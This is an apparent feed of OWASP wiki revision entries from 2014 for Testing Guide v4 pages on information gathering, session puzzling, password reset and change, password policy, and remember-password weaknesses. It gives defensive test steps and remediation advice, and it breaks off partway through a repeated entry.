		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
''' 4.2 Testing for Information Gathering '''&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Testing for Information Gathering include the following articles: &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Testing: Search engine discovery/reconnaissance (OWASP-IG-002)|4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) ]] formerly &amp;quot;Search Engine Discovery/Reconnaissance (OWASP-IG-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Fingerprint Web Server (OTG-INFO-002)|4.2.2 Fingerprint Web Server (OTG-INFO-002) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|4.2.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ]] formerly &amp;quot;Spiders, Robots and Crawlers (OWASP-IG-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Application Discovery (OWASP-IG-005)|4.2.4 Enumerate Applications on Webserver (OTG-INFO-004) ]] formerly &amp;quot;Application Discovery (OWASP-IG-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Review webpage comments and metadata(OWASP-IG-007)|4.2.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) ]] formerly &amp;quot;Review webpage comments and metadata(OWASP-IG-007)&amp;quot;  DELETED&lt;br /&gt;
&lt;br /&gt;
[[Testing: Identify application entry points (OWASP-IG-003)|4.2.6 Identify application entry points (OTG-INFO-006) ]] formerly &amp;quot;Identify application entry points (OWASP-IG-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Map execution paths through application (OWASP-IG-009)|4.2.7 Map execution paths through application (OTG-INFO-008)]] formerly &amp;quot;Map execution paths through application (OWASP-IG-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Fingerprint Web Application Framework (OTG-INFO-009)|4.2.8 Fingerprint Web Application Framework (OTG-INFO-009) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-010)&amp;quot; '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
[[Testing for Web Application (OTG-INFO-011)|4.2.9 Fingerprint Web Application (OTG-INFO-010) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-010)&amp;quot; [Amro AlOlaqi] '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
[[Map Network and Application Architecture (OTG-INFO-012)|4.2.10 Map Network and Application Architecture (OTG-INFO-011) ]] formerly &amp;quot;Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)&amp;quot; [Amro AlOlaqi] '''Ready to be reviewed'''&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_Information_Gathering&amp;diff=169656</id>
		<title>Testing Information Gathering</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_Information_Gathering&amp;diff=169656"/>
				<updated>2014-03-07T17:00:51Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
''' 4.3 Testing for Information Gathering '''&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Testing for Information Gathering include the following articles: &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Testing: Search engine discovery/reconnaissance (OWASP-IG-002)|4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) ]] formerly &amp;quot;Search Engine Discovery/Reconnaissance (OWASP-IG-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Fingerprint Web Server (OTG-INFO-002)|4.2.2 Fingerprint Web Server (OTG-INFO-002) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|4.2.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ]] formerly &amp;quot;Spiders, Robots and Crawlers (OWASP-IG-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Application Discovery (OWASP-IG-005)|4.2.4 Enumerate Applications on Webserver (OTG-INFO-004) ]] formerly &amp;quot;Application Discovery (OWASP-IG-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Review webpage comments and metadata(OWASP-IG-007)|4.2.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) ]] formerly &amp;quot;Review webpage comments and metadata(OWASP-IG-007)&amp;quot;  DELETED&lt;br /&gt;
&lt;br /&gt;
[[Testing: Identify application entry points (OWASP-IG-003)|4.2.6 Identify application entry points (OTG-INFO-006) ]] formerly &amp;quot;Identify application entry points (OWASP-IG-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Map execution paths through application (OWASP-IG-009)|4.2.7 Map execution paths through application (OTG-INFO-008)]] formerly &amp;quot;Map execution paths through application (OWASP-IG-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Fingerprint Web Application Framework (OTG-INFO-009)|4.2.8 Fingerprint Web Application Framework (OTG-INFO-009) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-010)&amp;quot; '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
[[Testing for Web Application (OTG-INFO-011)|4.2.9 Fingerprint Web Application (OTG-INFO-010) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-010)&amp;quot; [Amro AlOlaqi] '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
[[Map Network and Application Architecture (OTG-INFO-012)|4.2.10 Map Network and Application Architecture (OTG-INFO-011) ]] formerly &amp;quot;Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)&amp;quot; [Amro AlOlaqi] '''Ready to be reviewed'''&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_Information_Gathering&amp;diff=169655</id>
		<title>Testing Information Gathering</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_Information_Gathering&amp;diff=169655"/>
				<updated>2014-03-07T17:00:38Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
''' 4.3 Testing for Information Gathering '''&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Testing for Information Gathering include the following articles: &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Testing: Search engine discovery/reconnaissance (OWASP-IG-002)|4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) ]] formerly &amp;quot;Search Engine Discovery/Reconnaissance (OWASP-IG-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Fingerprint Web Server (OTG-INFO-002)|4.2.2 Fingerprint Web Server (OTG-INFO-002) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|4.2.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ]] formerly &amp;quot;Spiders, Robots and Crawlers (OWASP-IG-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Application Discovery (OWASP-IG-005)|4.2.4 Enumerate Applications on Webserver (OTG-INFO-004) ]] formerly &amp;quot;Application Discovery (OWASP-IG-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Review webpage comments and metadata(OWASP-IG-007)|4.2.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) ]] formerly &amp;quot;Review webpage comments and metadata(OWASP-IG-007)&amp;quot;  DELETED&lt;br /&gt;
&lt;br /&gt;
[[Testing: Identify application entry points (OWASP-IG-003)|4.2.6 Identify application entry points (OTG-INFO-006) ]] formerly &amp;quot;Identify application entry points (OWASP-IG-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Map execution paths through application (OWASP-IG-009)|4.2.7 Map execution paths through application (OTG-INFO-008)]] formerly &amp;quot;Map execution paths through application (OWASP-IG-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Fingerprint Web Application Framework (OTG-INFO-009)|4.2.8 Fingerprint Web Application Framework (OTG-INFO-009) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-010)&amp;quot; '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Web Application (OTG-INFO-011)|4.2.9 Fingerprint Web Application (OTG-INFO-010) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-010)&amp;quot; [Amro AlOlaqi] '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
[[Map Network and Application Architecture (OTG-INFO-012)|4.2.10 Map Network and Application Architecture (OTG-INFO-011) ]] formerly &amp;quot;Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)&amp;quot; [Amro AlOlaqi] '''Ready to be reviewed'''&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Session_puzzling_(OTG-SESS-008)&amp;diff=169650</id>
		<title>Testing for Session puzzling (OTG-SESS-008)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Session_puzzling_(OTG-SESS-008)&amp;diff=169650"/>
				<updated>2014-03-07T16:41:47Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Session Variable Overloading (also known as Session Puzzling) is an application level vulnerability which can enable an attacker to perform a variety of malicious actions not limited to:&lt;br /&gt;
* Bypass efficient authentication enforcement mechanisms, and impersonate legitimate users.&lt;br /&gt;
* Elevate the privileges of a malicious user account, in an environment that would otherwise be considered foolproof.&lt;br /&gt;
* Skip over qualifying phases in multiphase processes, even if the process includes all the commonly recommended code level restrictions.&lt;br /&gt;
* Manipulate server-side values in indirect methods that cannot be predicted or detected.&lt;br /&gt;
* Execute traditional attacks in locations that were previously unreachable, or even considered secure.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
This vulnerability occurs when an application uses the same session variable for more than one purpose.&lt;br /&gt;
An attacker can potentially access pages in an order unanticipated by the developers so that the session variable is set one one context and then used in another.&lt;br /&gt;
&lt;br /&gt;
For example an attacker could use session variable overloading to bypass authentication enforcement mechanisms&lt;br /&gt;
of applications that enforce authentication by validating the existence of session&lt;br /&gt;
variables that contain identity–related values, which are usually stored in the session after a successful authentication process.&lt;br /&gt;
The authentication bypass attack vector could be executed by accessing a publicly&lt;br /&gt;
accessible entry point (e.g. a password recovery page) that populates the session with&lt;br /&gt;
an identical session variable, based on fixed values or on user originating input.&lt;br /&gt;
&lt;br /&gt;
== Black Box Testing and Examples ==&lt;br /&gt;
&lt;br /&gt;
This vulnerability can be detected and exploited enumerating all of the session variables used by the application and in which context they are valid. In particular this is possible by accessing a sequence of entry points. In case of black box test, obviously, this procedure is difficult and require also luck since every different sequence could leads to a different result.&lt;br /&gt;
&lt;br /&gt;
===Examples===&lt;br /&gt;
&lt;br /&gt;
A very simple example could be the password reset functionality that, in the entry point, could request to the user some indentifying information as the username or the e-mail. This page might then populate the session with these identifying values, which are received directly from the client side, or obtained from queries or calculations based on the received input. At this point there may be some pages, in the application, that show private data based on this session object. In this manner the attacker could bypass the authentication process.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
The most effective way to detect these vulnerabilities is via a source code review.&lt;br /&gt;
&lt;br /&gt;
==Prevention==&lt;br /&gt;
&lt;br /&gt;
Session variables should only be used for a single consistent purpose.&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Session Puzzles: http://puzzlemall.googlecode.com/files/Session%20Puzzles%20-%20Indirect%20Application%20Attack%20Vectors%20-%20May%202011%20-%20Whitepaper.pdf&lt;br /&gt;
* Session Puzzling and Session Race Conditions: http://sectooladdict.blogspot.com/2011/09/session-puzzling-and-session-race.html&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Session_puzzling_(OTG-SESS-008)&amp;diff=169649</id>
		<title>Testing for Session puzzling (OTG-SESS-008)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Session_puzzling_(OTG-SESS-008)&amp;diff=169649"/>
				<updated>2014-03-07T16:41:17Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Session Variable Overloading (also known as Session Puzzling) is an application level vulnerability which can enable an attacker to perform a variety of malicious actions not limited to:&lt;br /&gt;
* Bypass efficient authentication enforcement mechanisms, and impersonate legitimate users.&lt;br /&gt;
* Elevate the privileges of a malicious user account, in an environment that would otherwise be considered foolproof.&lt;br /&gt;
* Skip over qualifying phases in multiphase processes, even if the process includes all the commonly recommended code level restrictions.&lt;br /&gt;
* Manipulate server-side values in indirect methods that cannot be predicted or detected.&lt;br /&gt;
* Execute traditional attacks in locations that were previously unreachable, or even considered secure.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
This vulnerability occurs when an application uses the same session variable for more than one purpose.&lt;br /&gt;
An attacker can potentially access pages in an order unanticipated by the developers so that the session variable is set one one context and then used in another.&lt;br /&gt;
&lt;br /&gt;
For example an attacker could use session variable overloading to bypass authentication enforcement mechanisms&lt;br /&gt;
of applications that enforce authentication by validating the existence of session&lt;br /&gt;
variables that contain identity–related values, which are usually stored in the session after a successful authentication process.&lt;br /&gt;
The authentication bypass attack vector could be executed by accessing a publicly&lt;br /&gt;
accessible entry point (e.g. a password recovery page) that populates the session with&lt;br /&gt;
an identical session variable, based on fixed values or on user originating input.&lt;br /&gt;
&lt;br /&gt;
== Black Box Testing and Examples ==&lt;br /&gt;
&lt;br /&gt;
This vulnerability can be detected and exploited enumerating all of the session variables used by the application and in which context they are valid. In particular this is possible by accessing a sequence of entry points. In case of black box test, obviously, this procedure is difficult and require also luck since every different sequence could leads to a different result.&lt;br /&gt;
&lt;br /&gt;
===Examples===&lt;br /&gt;
&lt;br /&gt;
A very simple example could be the password reset functionality that, in the initial entry point, could request to the user some indentifying information as the username or the e-mail. This page might then populate the session with these identifying values, which are received directly from the client side, or obtained from queries or calculations based on the received input. At this point there may be some pages, in the application, that show private data based on this session object. In this manner the attacker could bypass the authentication process.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
The most effective way to detect these vulnerabilities is via a source code review.&lt;br /&gt;
&lt;br /&gt;
==Prevention==&lt;br /&gt;
&lt;br /&gt;
Session variables should only be used for a single consistent purpose.&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Session Puzzles: http://puzzlemall.googlecode.com/files/Session%20Puzzles%20-%20Indirect%20Application%20Attack%20Vectors%20-%20May%202011%20-%20Whitepaper.pdf&lt;br /&gt;
* Session Puzzling and Session Race Conditions: http://sectooladdict.blogspot.com/2011/09/session-puzzling-and-session-race.html&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_weak_password_change_or_reset_functionalities_(OTG-AUTHN-009)&amp;diff=169634</id>
		<title>Testing for weak password change or reset functionalities (OTG-AUTHN-009)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_weak_password_change_or_reset_functionalities_(OTG-AUTHN-009)&amp;diff=169634"/>
				<updated>2014-03-07T15:15:57Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
The password change/reset function of an application is a self-service password change/reset mechanism for users. This self-service mechanism allows users to quickly change/reset their password without an administrator intervening. When passwords are changed they are typically changed within the application. When passwords are reset they are either rendered within the application or emailed to the user. This may indicate that the passwords are stored in plaintext.&lt;br /&gt;
&lt;br /&gt;
== Test objectives ==&lt;br /&gt;
&lt;br /&gt;
Determine the resistance of the application to subversion of the account change process allowing someone to change the password of an account.&amp;lt;br&amp;gt;&lt;br /&gt;
Determine the resistance of reset passwords functionality to guessing or bypassing.&lt;br /&gt;
&lt;br /&gt;
== Black Box Testing and Examples ==&lt;br /&gt;
&lt;br /&gt;
For both functionalities (password change and password reset) it is important to check:&lt;br /&gt;
# if users, other than administrators, can change/reset passwords for accounts other than their own&lt;br /&gt;
# if users can manipulate/subvert the password change/reset process to change/reset the password of another user or administrator&lt;br /&gt;
# if the password change/reset process is vulnerable to CSRF&lt;br /&gt;
&lt;br /&gt;
=== Test Password Reset ===&lt;br /&gt;
&lt;br /&gt;
In addition to the previus test it is important to verify:&lt;br /&gt;
&lt;br /&gt;
* What information is required to reset the password?&lt;br /&gt;
The first step is to check whether secret questions/information are required. Sending the password (or a password reset link) to the user email address without first asking for a secret question means relying 100% on the security of that email address, which is not suitable if the application needs a high level of security.&amp;lt;br&amp;gt;&lt;br /&gt;
On the other hand, if secret questions are used, the next step is to assess their strength. This specific test is discussed in detail in the [[Testing_for_Weak_security_question/answer_(OTG-AUTHN-008)|Testing for Weak security question/answer]] paragraph of this guide.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* How are reset passwords communicated to the user?&lt;br /&gt;
The most insecure scenario here is if the password reset tool shows you the password; this gives the attacker the ability to log into the account, and unless the application provides information about the last login the victim would not know that his/her account has been compromised.&amp;lt;br&amp;gt;&lt;br /&gt;
A less insecure scenario is if the password reset tool forces the user to immediately change his/her password. While not as stealthy as the first case, it allows the attacker to gain access and locks the real user out.&amp;lt;br&amp;gt;&lt;br /&gt;
The best security is achieved if the password reset is done via an email to the address the user initially registered with, or some other email address; this forces the attacker to not only guess at which email account the password reset was sent to (unless the application tells that) but also to compromise that account in order to take control of the victim's access to the application.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* Are reset passwords generated randomly or not?&lt;br /&gt;
The most insecure scenario here is if the application sends/visualizes the old password in cleartext because it means that passwords are not stored in a hashed form, which is a security issue in itself.&amp;lt;br&amp;gt;&lt;br /&gt;
The best security is achieved if passwords are randomly generated with a secure algorithm that can not be derived.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* Is the reset password functionality requesting confirmation before changing the password?&lt;br /&gt;
To limit denial-of-service attacks the application should send, via e-mail, a link to the user with a random token, and only if the user visits the link the reset procedure is completed. So the current password should be valid until a successful reset is complete.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Test Password Change ===&lt;br /&gt;
&lt;br /&gt;
In addition to the previus test it is important to verify:&lt;br /&gt;
&lt;br /&gt;
* Is the old password requested to complete the change?&lt;br /&gt;
The most insecure scenario here is if the application permits the change of the password without requesting the current password, since if an attacker is able to take the control of a valid session he could easily change the victim's password.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
See also [[Testing_for_Weak_password_policy_(OWASP-AT-008)|Testing for Weak password policy]] paragraph of this guide.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Forgot_Password_Cheat_Sheet|OWASP Forgot Password Cheat Sheet]]&lt;br /&gt;
* [[OWASP_Periodic_Table_of_Vulnerabilities_-_Insufficient_Password_Recovery|OWASP Periodic Table of Vulnerabilities - Insufficient Password Recovery]]&lt;br /&gt;
&lt;br /&gt;
== Remediation ==&lt;br /&gt;
&lt;br /&gt;
The password change/reset function is a sensitive function and requires some form of protection, such as requiring users to re-authenticate or presenting the user with confirmation dialogs during the process.&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Weak_password_policy_(OTG-AUTHN-007)&amp;diff=169633</id>
		<title>Testing for Weak password policy (OTG-AUTHN-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Weak_password_policy_(OTG-AUTHN-007)&amp;diff=169633"/>
				<updated>2014-03-07T12:58:29Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
The most prevalent and most easily administered authentication mechanism is the humble password. The password represents the keys to the kingdom, but is often subverted by users in the name of usability. In each of the recent high profile hacks that have revealed user credentials, it is lamented that most common passwords are still: 123456, password and qwerty. &lt;br /&gt;
&lt;br /&gt;
== Test objectives ==&lt;br /&gt;
&lt;br /&gt;
Determine the resistance of the application's to brute force password guessing using available password dictionaries by evaluating the length, complexity, reuse and aging requirements of passwords.&lt;br /&gt;
&lt;br /&gt;
== How to test ==&lt;br /&gt;
&lt;br /&gt;
# What characters are permitted and forbidden for use within a password?&lt;br /&gt;
# How often can a user change their password?&lt;br /&gt;
# When must a user change their password? After 90 days? After account lockout due to excessive logon attempts?&lt;br /&gt;
# How often can a user reuse a password? Does the application store the user's previous 8 passwords?&lt;br /&gt;
# How different must the next password be from the last password (or however many are stored by the application)?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Brute_force_attack|Brute Force]] Attacks.&lt;br /&gt;
* [[Password_length_%26_complexity|Password length &amp;amp; complexity]]&lt;br /&gt;
&lt;br /&gt;
== Remediation ==&lt;br /&gt;
&lt;br /&gt;
To mitigate the risk of easily guessed passwords facilitating unauthorised access there are two solutions: introduce additional authentication controls or introduce a password policy. The simplest and cheapest of these is the introduction of a password policy that ensures password length, complexity, reuse and aging.&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Weak_password_policy_(OTG-AUTHN-007)&amp;diff=169632</id>
		<title>Testing for Weak password policy (OTG-AUTHN-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Weak_password_policy_(OTG-AUTHN-007)&amp;diff=169632"/>
				<updated>2014-03-07T12:29:50Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
The most prevalent and most easily administered authentication mechanism is the humble password. The password represents the keys to the kingdom, but is often subverted by users in the name of usability. In each of the recent high profile hacks that have revealed user credentials, it is lamented that most common passwords are still: 123456, password and qwerty. &lt;br /&gt;
&lt;br /&gt;
== Test objectives ==&lt;br /&gt;
&lt;br /&gt;
Determine the resistance of the application's to brute force password guessing using available password dictionaries by evaluating the length, complexity, reuse and aging requirements of passwords.&lt;br /&gt;
&lt;br /&gt;
== How to test ==&lt;br /&gt;
&lt;br /&gt;
# What characters are permitted and forbidden for use within a password?&lt;br /&gt;
# How often can a user change their password?&lt;br /&gt;
# When must a user change their password? After 90 days? After account lockout due to excessive logon attempts?&lt;br /&gt;
# How often can a user reuse a password? Does the application store the user's previous 8 passwords?&lt;br /&gt;
# How different must the next password be from the last password (or however many are stored by the application)?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
See the OWASP article on [[Brute_force_attack|Brute Force]] Attacks.&lt;br /&gt;
&lt;br /&gt;
== Remediation ==&lt;br /&gt;
&lt;br /&gt;
To mitigate the risk of easily guessed passwords facilitating unauthorised access there are two solutions: introduce additional authentication controls or introduce a password policy. The simplest and cheapest of these is the introduction of a password policy that ensures password length, complexity, reuse and aging.&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Vulnerable_Remember_Password_(OTG-AUTHN-005)&amp;diff=169631</id>
		<title>Testing for Vulnerable Remember Password (OTG-AUTHN-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Vulnerable_Remember_Password_(OTG-AUTHN-005)&amp;diff=169631"/>
				<updated>2014-03-07T12:27:01Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
Browsers will sometimes ask a user if they wish to remember the password that they just entered. The browser will then store the password, and automatically enter it whenever the same authentication portal is visited. This is a convenience for the user.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
Whilst a convenience for the user, having the browser storing passwords is also a convenience for an attacker.&amp;lt;br&amp;gt;&lt;br /&gt;
If an attacker can gain access to the victim's browser (e.g. through a Cross Site Scripting attack, or through a shared computer), then they can retrieve the stored passwords. It is not uncommon for browsers to store these passwords in a fully retrievable manner, but even if the browser were to store the passwords encrypted and only retrievable through the use of a master password, an attacker could retrieve the password by visiting the target authentication portal web site, entering the victim's username, and letting the browser to enter the password.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
* Enter a username and password in the target authentication portal and determine whether the browser asks the user whether they want the password remembered.&lt;br /&gt;
* View the authentication portal's HTML source code and look for the autocomplete=&amp;quot;off&amp;quot; attribute in the password form field. The code for this will usually be along the following lines:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;INPUT TYPE=&amp;quot;password&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* Also look for passwords being stored in a cookie. Examine the cookies stored by the application. Verify that the credentials are not stored in cleartext, but are hashed. Examine the hashing mechanism: if it is a common, well-known algorithm, check for its strength; in homegrown hash functions, attempt several usernames to check whether the hash function is easily guessable. Additionally, verify that the credentials are only sent during the login phase, and not sent together with every request to the application.  &lt;br /&gt;
* Also look for other areas where a password may be entered, e.g. a Change Password form.&lt;br /&gt;
* Also consider other sensitive form fields (e.g. an answer to a secret question, used for Forgotten Password forms).&lt;br /&gt;
&lt;br /&gt;
== Remediation ==&lt;br /&gt;
&lt;br /&gt;
Any fields that contain sensitive information and passwords should be flagged in the HTML with AUTOCOMPLETE=”off”.&amp;lt;br&amp;gt;&lt;br /&gt;
Moreover no credentials have to be stored, in cleartext, into cookies.&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Vulnerable_Remember_Password_(OTG-AUTHN-005)&amp;diff=169630</id>
		<title>Testing for Vulnerable Remember Password (OTG-AUTHN-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Vulnerable_Remember_Password_(OTG-AUTHN-005)&amp;diff=169630"/>
				<updated>2014-03-07T12:26:27Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
Browsers will sometimes ask a user if they wish to remember the password that they just entered. The browser will then store the password, and automatically enter it whenever the same authentication portal is visited. This is a convenience for the user.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
Whilst a convenience for the user, having the browser storing passwords is also a convenience for an attacker.&amp;lt;br&amp;gt;&lt;br /&gt;
If an attacker can gain access to the victim's browser (e.g. through a Cross Site Scripting attack, or through a shared computer), then they can retrieve the stored passwords. It is not uncommon for browsers to store these passwords in a fully retrievable manner, but even if the browser were to store the passwords encrypted and only retrievable through the use of a master password, an attacker could retrieve the password by visiting the target authentication portal web site, entering the victim's username, and letting the browser to enter the password.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
